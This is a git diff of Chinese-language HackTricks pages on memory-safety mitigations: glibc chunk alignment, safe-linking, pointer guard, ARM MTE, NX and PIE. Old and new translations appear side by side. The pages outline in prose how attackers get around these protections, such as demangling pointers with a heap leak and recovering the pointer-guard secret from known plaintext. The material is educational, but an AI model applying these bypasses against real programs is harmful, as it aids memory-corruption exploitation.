支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 块对齐强制
|
||||
|
||||
**Malloc**以**8字节(32位)或16字节(64位)的组**为单位分配内存。这意味着在32位系统中,块的末尾应与**0x8**对齐,在64位系统中应与**0x0**对齐。这项安全功能在使用来自bin的指针之前检查每个块在这些特定位置上是否**正确对齐**。
|
||||
**Malloc**以**8字节(32位)或16字节(64位)分组**的方式分配内存。这意味着在32位系统中,块的末尾应该与**0x8**对齐,在64位系统中应该与**0x0**对齐。这项安全功能在使用来自bin的指针之前检查每个块是否在这些特定位置上**正确对齐**。
|
||||
|
||||
### 安全性益处
|
||||
|
||||
64位系统中的块对齐强制显着增强了Malloc的安全性,**将伪造块的放置限制为每16个地址中的1个**。这使得利用变得更加复杂,特别是在用户对输入值的控制有限的情况下,使攻击变得更加复杂且更难成功执行。
|
||||
64位系统中块对齐的强制执行显著增强了Malloc的安全性,因为它将**伪造块的放置限制为每16个地址中的1个**。这使得利用变得更加复杂,特别是在用户对输入值的控制有限的情况下,攻击变得更加复杂且更难成功执行。
|
||||
|
||||
* **\_\_malloc\_hook上的Fastbin攻击**
|
||||
|
||||
Malloc中的新对齐规则还阻止了涉及`__malloc_hook`的经典攻击。以前,攻击者可以操纵块大小以**覆盖此函数指针**并获得**代码执行**。现在,严格的对齐要求确保这种操纵不再可行,关闭了一条常见的利用路径并增强了整体安全性。
|
||||
Malloc中的新对齐规则还阻止了涉及`__malloc_hook`的经典攻击。以前,攻击者可以操纵块大小以**覆盖此函数指针**并获得**代码执行**。现在,严格的对齐要求确保这种操纵不再可行,关闭了一个常见的利用途径,增强了整体安全性。
|
||||
|
||||
## 快速块和tcache上的指针混淆
|
||||
## 快速bin和tcache上的指针混淆
|
||||
|
||||
**指针混淆**是一种安全增强技术,用于保护内存管理操作中的**快速块和tcache Fd指针**。这种技术有助于防止某些类型的内存利用策略,特别是那些不需要泄漏内存信息或直接操纵相对已知位置的内存位置(相对**覆写**)。
|
||||
**指针混淆**是一种用于保护内存管理操作中的**fastbin和tcache Fd指针**的安全增强技术。这种技术有助于防止某些类型的内存利用策略,特别是那些不需要泄漏内存信息或直接操纵相对已知位置的内存位置(相对**覆写**)。
|
||||
|
||||
这种技术的核心是一个混淆公式:
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
* **L**是指针的**存储位置**。
|
||||
* **P**是实际的**快速块/tcache Fd指针**。
|
||||
* **P**是实际的**fastbin/tcache Fd指针**。
|
||||
|
||||
将存储位置(L)向右移12位进行XOR操作的原因至关重要。这种操作解决了内存地址最不显著的12位的确定性特性,这些位通常由于系统架构约束而可预测。通过移动这些位,可预测的部分被排除在外,增强了新的混淆指针的随机性,从而防范依赖这些位可预测性的利用。
|
||||
在进行XOR操作之前将存储位置(L)向右移12位的原因至关重要。这种操作解决了内存地址最不显著的12位的确定性特性,这些位通常由于系统架构约束而可预测。通过移动这些位,可预测的部分被排除在等式之外,增强了新的混淆指针的随机性,从而防范依赖这些位的可预测性的利用。
|
||||
|
||||
这种混淆指针利用了**地址空间布局随机化(ASLR)**提供的现有随机性,ASLR随机化程序使用的地址,使攻击者难以预测进程的内存布局。
|
||||
这个混淆指针利用了**地址空间布局随机化(ASLR)**提供的现有随机性,ASLR随机化程序使用的地址,使攻击者难以预测进程的内存布局。
|
||||
|
||||
**解混指针**以检索原始地址涉及使用相同的XOR操作。在这里,混淆指针被视为公式中的P,当与未更改的存储位置(L)进行XOR运算时,将显示原始指针。这种混淆和解混对称性确保系统可以高效地编码和解码指针而不会带来重大开销,同时大大增加了对操纵内存指针的攻击的安全性。
|
||||
**解混淆**指针以检索原始地址涉及使用相同的XOR操作。在这里,混淆指针被视为公式中的P,当与未更改的存储位置(L)进行XOR运算时,将显示原始指针。这种混淆和解混淆的对称性确保系统可以高效地对指针进行编码和解码,同时大大增加了对操纵内存指针的攻击的安全性。
|
||||
|
||||
### 安全性益处
|
||||
|
||||
指针混淆旨在**防止堆管理中的部分和完整指针覆写**,这是安全性的重大增强。这个功能以多种方式影响利用技术:
|
||||
指针混淆旨在**防止堆管理中的部分和完整指针覆写**,这是安全性的重大增强。这个特性在几个方面影响利用技术:
|
||||
|
||||
1. **防止Byte Byte相对覆写**:以前,攻击者可以更改指针的一部分,**将堆块重定向到不同位置而无需知道确切地址**,这种技术在无泄漏的**House of Roman**利用中明显。通过指针混淆,这种相对覆写**现在需要进行暴力破解**,大大降低了成功的可能性。
|
||||
2. **增加Tcache Bin/Fastbin攻击的难度**:通过操纵快速块或tcache条目来覆盖函数指针(如`__malloc_hook`)的常见攻击受到阻碍。例如,一种攻击可能涉及泄漏LibC地址,将一个块释放到tcache bin中,然后覆盖Fd指针以将其重定向到`__malloc_hook`以进行任意代码执行。通过指针混淆,这些指针必须正确混淆,**需要堆泄漏以进行准确操纵**,从而提高了利用障碍。
|
||||
3. **在非堆位置需要堆泄漏**:在非堆区域(如堆栈、.bss部分或PLT/GOT)创建一个伪造块现在也**需要堆泄漏**,因为需要指针混淆。这增加了利用这些区域的复杂性,类似于操纵LibC地址的要求。
|
||||
4. **泄漏堆地址变得更具挑战性**:指针混淆限制了快速块和tcache bin中的Fd指针作为堆地址泄漏源的有用性。但是,未排序、小型和大型bin中的指针保持未混淆,因此仍可用于泄漏地址。这种转变推动攻击者探索这些bin以寻找可利用的信息,尽管一些技术仍可能允许在泄漏之前解混指针,尽管受到限制。
|
||||
1. **防止Byte Byte相对覆写**:以前,攻击者可以更改指针的一部分,**将堆块重定向到不同位置而无需知道确切地址**,这种技术在无泄漏的**House of Roman**利用中明显。通过指针混淆,这种相对覆写**现在需要堆泄漏来进行暴力破解**,大大降低了成功的可能性。
|
||||
2. **增加Tcache Bin/Fastbin攻击的难度**:通过操纵fastbin或tcache条目来覆盖函数指针(如`__malloc_hook`)的常见攻击受到阻碍。例如,一种攻击可能涉及泄漏LibC地址,将一个块释放到tcache bin,然后覆盖Fd指针以将其重定向到`__malloc_hook`以进行任意代码执行。通过指针混淆,这些指针必须正确混淆,**需要堆泄漏来进行准确操纵**,从而提高了利用障碍。
|
||||
3. **在非堆位置中需要堆泄漏**:现在在非堆区域(如堆栈、.bss部分或PLT/GOT)中创建一个伪造块也**需要堆泄漏**,因为需要指针混淆。这增加了利用这些区域的复杂性,类似于操纵LibC地址的要求。
|
||||
4. **泄漏堆地址变得更具挑战性**:指针混淆限制了fastbin和tcache bin中的Fd指针作为堆地址泄漏源的有用性。但是,未排序、小型和大型bin中的指针保持未混淆,因此仍可用于泄漏地址。这种转变推动攻击者探索这些bin以寻找可利用的信息,尽管一些技术仍可能允许在泄漏之前解混淆指针,尽管受到限制。
|
||||
|
||||
### **使用堆泄漏解混指针**
|
||||
### **使用堆泄漏解混淆指针**
|
||||
|
||||
{% hint style="danger" %}
|
||||
有关该过程的更好解释,请[**从这里查看原始帖子**](https://maxwelldulin.com/BlogPost?post=5445977088)。
|
||||
|
@ -60,31 +61,31 @@ Malloc中的新对齐规则还阻止了涉及`__malloc_hook`的经典攻击。
|
|||
|
||||
### 算法概述
|
||||
|
||||
用于混淆和解混指针的公式为: 
|
||||
用于混淆和解混淆指针的公式是: 
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
其中**L**是存储位置,**P**是Fd指针。通过将**L**向右移12位并与**P**进行XOR操作,可以有效地获得**P**的前12位,因为**L**的移位部分将为零,使**P**的相应位保持不变。
|
||||
其中**L**是存储位置,**P**是Fd指针。通过将**L**向右移动12位,可以获得**P**的最高12位,因为**XOR**的性质,当位与自身进行XOR运算时输出为0。
|
||||
|
||||
**算法中的关键步骤:**
|
||||
|
||||
1. **最显著位的初始泄漏**:通过将移位的**L**与**P**进行XOR操作,您实际上获得了**P**的前12位,因为**L**的移位部分将为零,使**P**的相应位保持不变。
|
||||
2. **恢复指针位**:由于XOR是可逆的,知道结果和一个操作数允许您计算另一个操作数。这个属性用于通过连续XOR已知位组与混淆指针的部分来推断**P**的整个位集。
|
||||
3. **迭代解混**:该过程重复进行,每次使用上一步中发现的**P**的新位来解码混淆指针的下一个段,直到恢复所有位。
|
||||
1. **最显著位的初始泄漏**:通过将移位的**L**与**P**进行XOR运算,实际上可以获得**P**的前12位,因为**L**的移位部分将为零,使**P**的对应位保持不变。
|
||||
2. **恢复指针位**:由于XOR是可逆的,知道结果和一个操作数允许您计算另一个操作数。这个属性用于通过连续XOR已知位组和混淆指针的部分来推断**P**的整个位集。
|
||||
3. **迭代解混淆**:该过程重复进行,每次使用前一步中发现的**P**的新位来解码混淆指针的下一段,直到恢复所有位。
|
||||
4. **处理确定性位**:由于移位,**L**的最后12位丢失,但它们是确定性的,可以在处理后重建。
|
||||
|
||||
您可以在这里找到此算法的实现:[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
## 指针保护
|
||||
|
||||
指针保护是一种在glibc中使用的利用缓解技术,用于保护存储的函数指针,特别是那些由库调用(如`atexit()`)注册的指针。这种保护涉及将指针与存储在线程数据(`fs:0x30`)中的秘密进行异或运算并应用位旋转来混淆指针。该机制旨在防止攻击者通过覆盖函数指针来劫持控制流。
|
||||
指针保护是一种在glibc中使用的利用缓解技术,用于保护存储的函数指针,特别是那些由库调用(如`atexit()`)注册的指针。该保护涉及将指针与存储在线程数据(`fs:0x30`)中的秘密进行异或运算并应用位旋转来混淆指针。该机制旨在防止攻击者通过覆盖函数指针来劫持控制流。
|
||||
|
||||
### **通过泄漏绕过指针保护**
|
||||
|
||||
1. **理解指针保护操作:** 指针的混淆是使用`PTR_MANGLE`宏完成的,该宏将指针与一个64位秘密进行异或运算,然后执行0x11位的左旋转。用于恢复原始指针的反向操作由`PTR_DEMANGLE`处理。
|
||||
1. **理解指针保护操作:** 指针的混淆是使用`PTR_MANGLE`宏完成的,该宏将指针与64位秘密进行异或运算,然后执行0x11位的左旋转。用于恢复原始指针的反向操作由`PTR_DEMANGLE`处理。
|
||||
2. **攻击策略:** 攻击基于已知明文方法,攻击者需要知道指针的原始版本和混淆版本,以推断用于混淆的秘密。
|
||||
3. **利用已知明文:**
|
||||
* **识别固定函数指针:** 通过检查glibc源代码或初始化的函数指针表(如`__libc_pthread_functions`),攻击者可以找到可预测的函数指针。
|
||||
* **计算秘密:** 使用已知函数指针(如`__pthread_attr_destroy`)及其来自函数指针表的混淆版本,可以通过反向旋转(右旋转)混淆指针,然后将其与函数的地址进行异或运算来计算秘密。
|
||||
* **计算秘密:** 使用已知函数指针(如`__pthread_attr_destroy`)及其来自函数指针表的混淆版本,可以通过反向旋转(右旋转)混淆指针,然后将其与函数地址进行异或运算来计算秘密。
|
||||
4. **替代明文:** 攻击者还可以尝试使用已知值(如0或-1)对指针进行混淆,以查看这些值是否在内存中产生可识别的模式,从而在内存转储中找到这些模式时可能揭示秘密。
|
||||
5. **实际应用:** 计算出秘密后,攻击者可以以受控方式操纵指针,基本上绕过指针保护,在具有libc基址知识和能够读取任意内存位置的多线程应用程序中操作指针。
|
||||
|
||||
|
|
|
@ -1,48 +1,49 @@
|
|||
# 内存标记扩展(MTE)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**内存标记扩展(MTE)** 旨在通过**检测和防止与内存相关的错误**(如缓冲区溢出和使用后释放漏洞)来增强软件的可靠性和安全性。作为**ARM**架构的一部分,MTE提供了一种机制,可以为每个内存分配附加一个**小标记**,并为引用该内存的每个指针附加一个**相应的标记**。这种方法允许在运行时检测非法内存访问,显著降低利用此类漏洞执行任意代码的风险。
|
||||
**内存标记扩展(MTE)** 旨在通过**检测和防止与内存相关的错误**(如缓冲区溢出和使用已释放内存漏洞)来增强软件的可靠性和安全性。作为 **ARM** 架构的一部分,MTE 提供了一种机制,可以为每个内存分配附加一个**小标记**,并为引用该内存的每个指针附加一个**相应的标记**。这种方法允许在运行时检测非法内存访问,显著降低利用此类漏洞执行任意代码的风险。
|
||||
|
||||
### **内存标记扩展的工作原理**
|
||||
|
||||
MTE通过**将内存划分为小的固定大小块,并为每个块分配一个标记**来运作。
|
||||
MTE 通过**将内存划分为小的固定大小块,每个块分配一个标记**来运作。
|
||||
|
||||
当创建一个指针指向该内存时,它会获得相同的标记。该标记存储在**内存指针的未使用位**中,有效地将指针与其对应的内存块关联起来。
|
||||
当创建指针指向该内存时,它会获得相同的标记。该标记存储在内存指针的**未使用位**中,有效地将指针与其对应的内存块关联起来。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
当程序通过指针访问内存时,MTE硬件会检查**指针的标记是否与内存块的标记匹配**。如果标记**不匹配**,则表示存在**非法内存访问**。
|
||||
当程序通过指针访问内存时,MTE 硬件会检查**指针的标记是否与内存块的标记匹配**。如果标记**不匹配**,则表示存在**非法内存访问**。
|
||||
|
||||
### MTE指针标记
|
||||
### MTE 指针标记
|
||||
|
||||
指针内的标记存储在顶部字节的4位中:
|
||||
指针内的标记存储在顶部字节的 4 位中:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
因此,这允许**最多16个不同的标记值**。
|
||||
因此,这允许**最多 16 个不同的标记值**。
|
||||
|
||||
### MTE内存标记
|
||||
### MTE 内存标记
|
||||
|
||||
每**16B的物理内存**对应一个**内存标记**。
|
||||
每**16B 物理内存**对应一个**内存标记**。
|
||||
|
||||
内存标记存储在一个**专用的RAM区域**中(无法正常访问)。每16B内存标签占用RAM的3%。
|
||||
内存标记存储在一个**专用的 RAM 区域**中(无法正常访问)。每 16B 内存标签占用 RAM 的 3%。
|
||||
|
||||
ARM引入以下指令来操作专用RAM内存中的这些标记:
|
||||
ARM 引入以下指令来操作专用 RAM 内存中的这些标记:
|
||||
```
|
||||
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
|
||||
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
|
||||
|
@ -58,7 +59,7 @@ CPU在**执行指令期间**检查标签,如果不匹配,会引发异常。\
|
|||
|
||||
### 异步
|
||||
|
||||
CPU**异步**检查标签,当发现不匹配时,会在系统寄存器中设置异常位。比前一种**更快**,但**无法指出**导致不匹配的确切指令,并且不会立即引发异常,给攻击者一些时间来完成攻击。
|
||||
CPU**异步**检查标签,当发现不匹配时,会在系统寄存器中设置异常位。比起同步模式,这种模式**更快**,但**无法指出**导致不匹配的确切指令,并且不会立即引发异常,给攻击者一些时间来完成攻击。
|
||||
|
||||
### 混合
|
||||
|
||||
|
@ -69,23 +70,23 @@ CPU**异步**检查标签,当发现不匹配时,会在系统寄存器中设
|
|||
称为基于硬件标签的KASAN、基于MTE的KASAN或内核MTE。\
|
||||
内核分配器(如`kmalloc`)将**调用此模块**,该模块将准备要使用的标签(随机)附加到分配的内核空间和返回的指针上。
|
||||
|
||||
请注意,它将仅标记足够的内存粒度(每个16字节)以满足请求的大小。因此,如果请求的大小为35,给出了一个60字节的slab,它将使用此标签标记前16\*3 = 48字节,**其余部分**将使用所谓的**无效标签(0xE)**进行标记。
|
||||
请注意,它将仅标记足够的内存粒度(每个16字节)以满足请求的大小。因此,如果请求的大小为35,给出了一个60字节的slab,它将使用此标签标记前16\*3 = 48字节,**其余部分**将用所谓的**无效标签(0xE)**标记。
|
||||
|
||||
标签**0xF**是**匹配所有指针**。具有此指针的内存允许使用**任何标签**访问其内存(无不匹配)。如果在受攻击的内存中使用此标签,这可能会阻止MET检测到攻击。
|
||||
|
||||
因此,只有**14个值**可用于生成标签,因为0xE和0xF已保留,导致**重用标签**的概率为1/17 -> 约**7%**。
|
||||
因此,只有**14个值**可用于生成标签,0xE和0xF已保留,导致**标签重用**的概率为1/17 -> 约**7%**。
|
||||
|
||||
如果内核访问**无效标签粒度**,将**检测到不匹配**。如果访问另一个内存位置,如果**内存具有不同的标签**(或无效标签),将**检测到不匹配**。如果攻击者幸运,内存使用相同的标签,则不会检测到不匹配。概率约为7%。
|
||||
|
||||
另一个错误发生在分配内存的**最后一个粒度**中。如果应用程序请求了35字节,它将获得从32到48的粒度。因此,从36到47的字节使用相同的标签,但未被请求。如果攻击者访问**这些额外字节,不会被检测到**。
|
||||
另一个错误发生在分配内存的**最后一个粒度**上。如果应用程序请求了35字节,它将获得从32到48的粒度。因此,从36到47的字节使用相同的标签,但未被请求。如果攻击者访问**这些额外字节,这不会被检测到**。
|
||||
|
||||
当执行**`kfree()`**时,内存将重新标记为无效内存标签,因此在**释放后再次访问内存时,将检测到不匹配**。
|
||||
当执行**`kfree()`**时,内存将重新标记为无效内存标签,因此在**使用后释放**时,再次访问内存时,将**检测到不匹配**。
|
||||
|
||||
但是,在释放后再次使用相同**标记重新分配相同的块**时,攻击者将能够使用此访问,而这不会被检测到(约7%的几率)。
|
||||
然而,在使用后释放中,如果相同的**块再次使用与之前相同的标签**重新分配,攻击者将能够使用此访问,这不会被检测到(约7%的几率)。
|
||||
|
||||
此外,只有**`slab`和`page_alloc`**使用带标记的内存,但在将来,这也将用于`vmalloc`、`stack`和``globals`(在视频时刻,这些仍然可能被滥用)。
|
||||
此外,只有**`slab`和`page_alloc`**使用带标记的内存,但在将来,`vmalloc`、`stack`和`globals`也将使用(在视频时刻,这些仍然可能被滥用)。
|
||||
|
||||
当**检测到不匹配**时,内核将**恐慌**以防止进一步利用和重试利用(MTE不会产生误报)。
|
||||
当**检测到不匹配**时,内核将**恐慌**以防止进一步利用和尝试利用漏洞(MTE不会产生误报)。
|
||||
|
||||
## 参考
|
||||
|
||||
|
|
|
@ -1,40 +1,42 @@
|
|||
# 不可执行 / NX
|
||||
# No-exec / NX
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**不可执行(NX)** 位,也称为Intel术语中的 **执行禁用(XD)**,是一种基于硬件的安全功能,旨在**减轻** **缓冲区溢出** 攻击的影响。当实施和启用时,它区分了用于**可执行代码**和用于**数据**(例如**堆栈**和**堆**)的内存区域。其核心思想是通过将恶意代码放在堆栈中,然后将执行流程引导到该代码,防止攻击者通过缓冲区溢出漏洞执行恶意代码。
|
||||
**No-Execute (NX)** 位,也称为Intel术语中的**Execute Disable (XD)**,是一种基于硬件的安全功能,旨在**减轻****缓冲区溢出**攻击的影响。当实施和启用时,它区分用于**可执行代码**和用于**数据**(如**堆栈**和**堆**)的内存区域。其核心思想是通过将恶意代码放在堆栈中,然后将执行流程引导到该代码,防止攻击者通过缓冲区溢出漏洞执行恶意代码。
|
||||
|
||||
## 绕过
|
||||
|
||||
* 可以使用诸如[**ROP**](../rop-return-oriented-programing/)之类的技术**绕过**此保护,通过执行二进制文件中已存在的可执行代码块来实现。
|
||||
* 可以使用诸如[**ROP**](../rop-return-oriented-programing/)之类的技术**绕过**此保护,通过执行二进制文件中已存在的可执行代码块。
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
# PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
作为PIE(Position Independent Executable)编译的二进制文件意味着**程序每次执行时可以在不同的内存位置加载**,从而防止硬编码地址。
|
||||
作为PIE编译的二进制文件,即**位置无关可执行文件**,意味着**程序每次执行时可以加载到不同的内存位置**,从而防止硬编码地址。
|
